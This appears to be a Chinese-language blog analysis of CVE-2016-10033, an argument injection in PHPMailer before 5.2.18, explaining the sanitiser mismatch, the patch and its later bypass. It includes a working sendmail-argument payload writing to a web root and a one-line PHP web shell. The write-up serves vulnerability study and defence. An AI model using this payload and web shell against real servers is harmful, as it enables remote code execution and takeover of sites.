CVE-2016-10033

PHPMailer 5.2.18 之前版本中,mailSend 函数允许远程攻击者向 sendmail 程序传递额外参数,通过精心构造的 Payload 可使得攻击者向操作系统写入恶意 PHP 文件,可能导致远程代码执行。

漏洞卡片#

PHPMailer 是 PHP 中用于发邮件的一个库,至今仍为主流,按照官方自己的话说:

Probably the world's most popular code for sending email from PHP!

漏洞影响版本:< 5.2.18

发现者:Dawid Golunski

简述:PHPMailer 5.2.18 之前版本中,mailSend 函数允许远程攻击者向 sendmail 程序传递额外参数,通过精心构造的 Payload 可使得攻击者向操作系统写入恶意 PHP 文件,可能导致远程代码执行。

CWE-88:Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')(命令中参数分隔符未正确中和(“参数注入”))

Base Score:9.8 CRITICAL

Vector:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

漏洞讲解#

PHPMailer 中的 mailSend 方法(位于 class.phpmailer.php):

通过 mailPassthru() 方法(位于 class.phpmailer.php)来发送邮件:

PHP
private function mailPassthru($to, $subject, $body, $header, $params)
{
	//Check overloading of mail function to avoid double-encoding
	if (ini_get('mbstring.func_overload') & 1) {
		$subject = $this->secureHeader($subject);
	} else {
		$subject = $this->encodeHeader($this->secureHeader($subject));
	}

	//Can't use additional_parameters in safe_mode
	//@link http://php.net/manual/en/function.mail.php
	if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
		$result = @mail($to, $subject, $body, $header);
	} else {
		$result = @mail($to, $subject, $body, $header, $params);
	}
	return $result;
}

该方法本质调用了 PHP 提供的 mail 函数:

PHP
function mail(
    string $to,
    string $subject,
    string $message,
    array|string $additional_headers = [],
    string $additional_params = ""
): bool

mail 函数的源码实现(截取了部分):

C
PHPAPI bool php_mail(const char *to, const char *subject, const char *message, const char *headers, const zend_string *extra_cmd)
{
	const char *sendmail_path = zend_ini_string_literal("sendmail_path");
    
    if (extra_cmd != NULL) {
		spprintf(&sendmail_cmd, 0, "%s %s", sendmail_path, ZSTR_VAL(extra_cmd));
	} else {
		sendmail_cmd = (char*)sendmail_path;
	}

    #ifdef PHP_WIN32
        sendmail = popen_ex(sendmail_cmd, "wb", NULL, NULL);
    #else
        errno = 0;
        sendmail = popen(sendmail_cmd, "w");
}

根据源码,(Linux/Unix 平台下)mail 会调用系统命令 sendmail。

当前已知:

  • mail 的部分参数的值用户可控,并且这些参数最终会拼接到 sendmail 命令中
  • 涉及系统命令执行

如果对用户可控参数没有进行严格的过滤,则可能造成操作系统命令注入。

最终,Dawid Golunski 通过 mail 的第五个参数 $params 实现了命令注入:

PHP
$result = @mail($to, $subject, $body, $header, $params);

$params的值来源于 Sender 属性(会在前面拼接上 -f,这是 sendmail 的一个参数,用于指定发件人的邮箱名):

PHP
if (!empty($this->Sender)) {
	$params = sprintf('-f%s', $this->Sender);
}

该属性通常(按正常实现)由 setFrom 方法进行赋值:

PHP
public function setFrom($address, $name = '', $auto = true)
{
	$address = trim($address);
	$name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
	// Don't validate now addresses with IDN. Will be done in send().
	if (($pos = strrpos($address, '@')) === false or
		(!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
		!$this->validateAddress($address)) {
		$error_message = $this->lang('invalid_address') . " (setFrom) $address";
		$this->setError($error_message);
		$this->edebug($error_message);
		if ($this->exceptions) {
			throw new phpmailerException($error_message);
		}
		return false;
	}
	$this->From = $address;
	$this->FromName = $name;
	if ($auto) {
		if (empty($this->Sender)) {
			$this->Sender = $address;
		}
	}
	return true;
}

$this->Sender 会由经过重重校验的 $address 进行赋值。在校验中,最关键的是 validateAddress 方法:

其中的一大串正则表达式描述的是 RFC 5322 所规定的邮件地址的格式。

在该规范中,允许这样的邮件地址格式(双引号之中允许有空格):

Text
"Attack Foo Test"@qq.com

根据官方文档,mail 本身还会对第五个参数进行校验,即利用 escapeshellcmd() 函数对指定特殊字符进行转义操作,涉及到的字符:

Text
&#;`|*?~<>^()[]{}$\
\x0A
\xFF

其中,' 和 " 仅在不配对儿的时候会被转义。

这几乎杜绝了“插入新的命令”(;、&、反引号……),但是并没有限制我们继续插入参数(空格、- 等不会被转义)。

若采用:

Text
"Attack -Param2 -Param3"@qq.com

去注入新参数,最终的命令:

Bash
……-f"Attack -Param2 -Param3"@qq.com

说极端点,这其实就等价于:

Text
……-f"abcd"@qq.com

并没有注入额外的参数。

但 Dawid Golunski 发现了邮件地址净化器(validateAddress)与 mail 参数净化器(escapeshellcmd())对转义符的解析差异,构造了:

Text
"Attack \" -Param2 -Param3 "@qq.com

这在邮件净化器看来,中间的 " 被转义,即作为常规内容字符存在。但是,mail 参数净化器按照规则需要对转义符进行转义,即变为:

Text
"Attack \\" -Param2 -Param3 "@qq.com

这导致原先被转义的 " 恢复了其语义,现在邮件地址等价于:

Text
"Attack " -Param2 -Param3 \"@qq.com
Tip

最后那个多余的 ",根据规则需要对其转义。

这就成功注入了额外的参数:

Bash
-f"Attack " -Param2 -Param3 \"@qq.com

接下来就是找 sendmail 中具备危害性的参数。

查询 sendmail 命令手册之后,发现 -X 参数支持将进出邮件通信日志记录写到指定文件之中,这使得我们可以在邮件正文中写入恶意 PHP 代码,使得邮件发送后该代码进入日志文件,最终通过访问日志文件实现代码执行(前提是:能访问 + 该文件所处目录有执行环境)。

但单纯注入 -X 参数是不行的,虽然:

  • 日志文件确实会被创建
  • 日志内容确实会写入

但是日志文件中只能看到类似下述内容:

Text
26122 >>> can not chdir(/var/spool/mqueue-client/): Permission denied

sendmail 程序会指定一个队列目录(在上例中就是 /var/spool/mqueue-client/),待发送的邮件以及未成功发送的邮件都在这个队列目录中排队等待发送,但是 www-data(Apache 通常使用该用户作为网站的执行用户,但权限非常低)通常不具备对该目录的写权限,这意味着邮件无法正常发送(邮件需要先进入队列目录才能被发送)。为了能让“发送邮件”功能正常运行,操作系统会给 sendmail 设置 SGID 位,使得 www-data 用户能以组权限运行该命令。

但是根据 sendmail 源码:

C
case 'X':	/* traffic log file */
	dp = drop_privileges(true);
	setstat(dp);
	if (stat(optarg, &traf_st) == 0 &&
		S_ISFIFO(traf_st.st_mode))
		TrafficLogFile = sm_io_open(SmFtStdio,
						SM_TIME_DEFAULT,
						optarg,
						SM_IO_WRONLY, NULL);
	else
		TrafficLogFile = sm_io_open(SmFtStdio,
						SM_TIME_DEFAULT,
						optarg,
						SM_IO_APPEND, NULL);
	if (TrafficLogFile == NULL)
	{
		syserr("cannot open %s", optarg);
		ExitStat = EX_CANTCREAT;
		break;
	}
	(void) sm_io_setvbuf(TrafficLogFile, SM_TIME_DEFAULT,
				 NULL, SM_IO_LBF, 0);
	break;

如果带上 -X 参数,则会主动剥离权限,即无法在将邮件放入队列目录中,邮件发送失败。因此,日志中进留下了 Permission denied。

这点其实在 sendmail 对 -X 的参数介绍中有一定的暗示:

This should only be used as a last resort for debugging mailer bugs.(这只能作为调试邮件程序错误的最后手段。)

继续查看文档能发现用于切换队列目录的参数 -oQ,只要我们将队列目录切换到一个任意用户能写的目录(比如 /tmp/),就可以绕过“剥离权限”的限制,因此最终的 Payload:

Text
"Foo \" -oQ/tmp/ -X/var/www/html/shell.php "@qq.com

接下来只需要在邮件正文中写入恶意 PHP 代码:

PHP
<?php system($_REQUEST['cmd']);?>

即可向日志文件注入代码。

Diff#

关键:

Diff
- if (!empty($this->Sender)) {
- 	$params = sprintf('-f%s', $this->Sender);
+ if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
+	$params = sprintf('-f%s', escapeshellarg($this->Sender));

对传入的 Sender 属性做了 validateAddress 校验。如果按照正常调用逻辑,即 setFrom 后再 mailSend,$this->Sender 其实已经经过一轮 validateAddress 了,因此这里是为了防止开发者的不正当实现,在最终发邮件前再进行一次 validateAddress 能防止该属性没有经过 validateAddress 校验。

真正用于防御 CVE-2016-10033 的补丁是 escapeshellarg($this->Sender)。

Attention

注意,该补丁并没有真正防住漏洞,新版本发布不久后,Dawid Golunski 就发现了该补丁的问题,并申请了 CVE-2016-10045。

Unix/Linux 操作系统中,escapeshellarg 函数会其参数中的字符串套上单引号,并且能转义参数中原来已经有的单引号。

但是这里转义有点特殊:

PHP
echo escapeshellarg("it's");
// 输出:'it'\''s'

原因是 Unix/Linux 操作系统中,单引号中出现转义符是不具备转义含义的,因此该函数采用了“在单引号外完成转义”的操作:

Text
'it' \' 's'
Tip

我添加“空格”是为了方便看清“在单引号外进行转义”这个操作,并不意味着输出结果中也有“空格”。

在 Windows 上,escapeshellarg() 用空格替换了百分号、感叹号(延迟变量替换)和双引号,并在字符串两边加上双引号。此外,在连续的转义符中(比如 \\、\\\),如果转义符 \ 出现的次数为奇数个,则会再额外添加一个转义符。

补丁之前有效的 Payload:

Text
"Foo \" -oQ/tmp/ -X/var/www/html/shell.php "@qq.com

(依旧假设目标是 Unix/Linux 系统)经由 escapeshellarg 函数处理之后:

Text
'"Foo \" -oQ/tmp/ -X/var/www/html/shell.php "@qq.com'

传入参数后还有一轮 escapeshellcmd():

Text
'"Foo \\" -oQ/tmp/ -X/var/www/html/shell.php \"@qq.com'

等价表述:

Text
'"Foo " -oQ/tmp/ -X/var/www/html/shell.php \"@qq.com'

由于单引号的存在,这依旧会被当成整体,即:

Bash
-f'"Foo \\" -oQ/tmp/ -X/var/www/html/shell.php \"@qq.com'

无法实现额外的参数注入。

但这并非无懈可击,具体见 CVE-2016-10045。

推测安全研究员的发现经过#

  1. 发邮件 → 可能涉及到系统命令
  2. 验证代码后发现确实存在
  3. 参数用户部分可控
  4. 尝试命令注入
  5. 发现存在解析差异
  6. 命令注入成功

CheckLists#

PHP 库。

练习#

PentesterLab 有对应的靶场。

参考文章#

键盘快捷键

全站

CtrlK
搜索
/
搜索
?
显示快捷键
Esc
关闭弹窗、退出模式

阅读文章

T
目录
F
专注模式
A
批注模式

批注模式

P
笔
H
荧光笔
L
激光笔
E
橡皮擦
1–6
切换颜色
Shift
按住拖动画直线
CtrlZ
撤销
CtrlShiftZ
重做